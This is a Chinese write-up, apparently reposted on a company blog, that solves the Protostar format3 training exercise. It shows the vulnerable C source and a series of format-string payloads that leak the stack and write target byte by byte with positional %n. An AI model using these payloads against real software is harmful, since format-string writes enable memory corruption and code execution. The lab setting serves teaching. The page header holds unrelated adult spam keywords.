欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

Protostarformat3

About

This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.
This level is at /opt/protostar/bin/format3

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
                printf(string);
}

void vuln()
{
                char buffer[512];
                fgets(buffer, sizeof(buffer), stdin);
                printbuffer(buffer);

                if(target == 0x01025544) {
                                printf("you have modified the target :)\n");
                } else {
                                printf("target is %08x :(\n", target);
                }
}

int main(int argc, char **argv)
{
                vuln();
}

這題與上看上去是不是很像?具體看看有兩個不同的地方:1、是printbuffer替換了printf;2、是target的值換為0x01025544

同理,按上一題的做法試試,修改%x的長度,結(jié)果是可以的,結(jié)果字符串太長,等到我都睡著了。。。
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08%232x%232x%3333x%x%x%x%x%x%x%x%16926279x%n"' | ./format3
<...>
                                                                                                                                                                                                                 bffff614
you have modified the target :)

很明顯,這樣的做法不是題目的本意。由于本人掌握知識有限,即使答案擺在眼前也搞不明白。。。直到,看了本書《***之道:漏洞發(fā)掘的藝術(shù)》才恍然大悟,如果有人看不懂解答的話也強烈推薦看看這本書?。?/div>

以下說明均以閱讀過《***之道:漏洞發(fā)掘的藝術(shù)》相關(guān)章節(jié)為基礎(chǔ),至于原理性不做太多解釋,有空再專門寫一篇文章解釋解釋 。。。

這題的難點也就是通過%n來修改target的值,從上一題的解法可以掌握的是可以通過%nx來掌握不算大的長度,因此對0x01025544通過拆分來完成,具體做法如下:
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%x."*12' | ./format3
     0.bffff5e0.b7fd7ff4.0.0.bffff7e8.804849d.bffff5e0.200.b7fd8420.bffff624.80496f4.
target is 00000000 :(
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$x%12$n"' | ./format3
     bffff624
target is 00000014 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x44-(0x14-0x8)'
56
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"' | ./format3
                                                                                                     bffff624
target is 00000044 :(

瞧,現(xiàn)在已經(jīng)得到低字節(jié)已經(jīng)是44了,接下來按同一個思路往下做就是了。

user@protostar:/opt/protostar/bin$ python -c 'print 0x55-0x44'
17
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"+"%12$17x%13$n"' | ./format3
                                                                                                     bffff624                    80496f4
target is 00005544 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x102-0x55'
173
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"+"%12$17x%13$n"+"%13$173x%14$n"' | ./format3
                                                                                                     bffff624                    80496f4                                                                                                                                                                                                                                                                                                                                            80496f5
you have modified the target :)


網(wǎng)站名稱:Protostarformat3
文章起源:http://chinadenli.net/article6/ppgeig.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃網(wǎng)站營銷、做網(wǎng)站網(wǎng)站改版、面包屑導航App開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)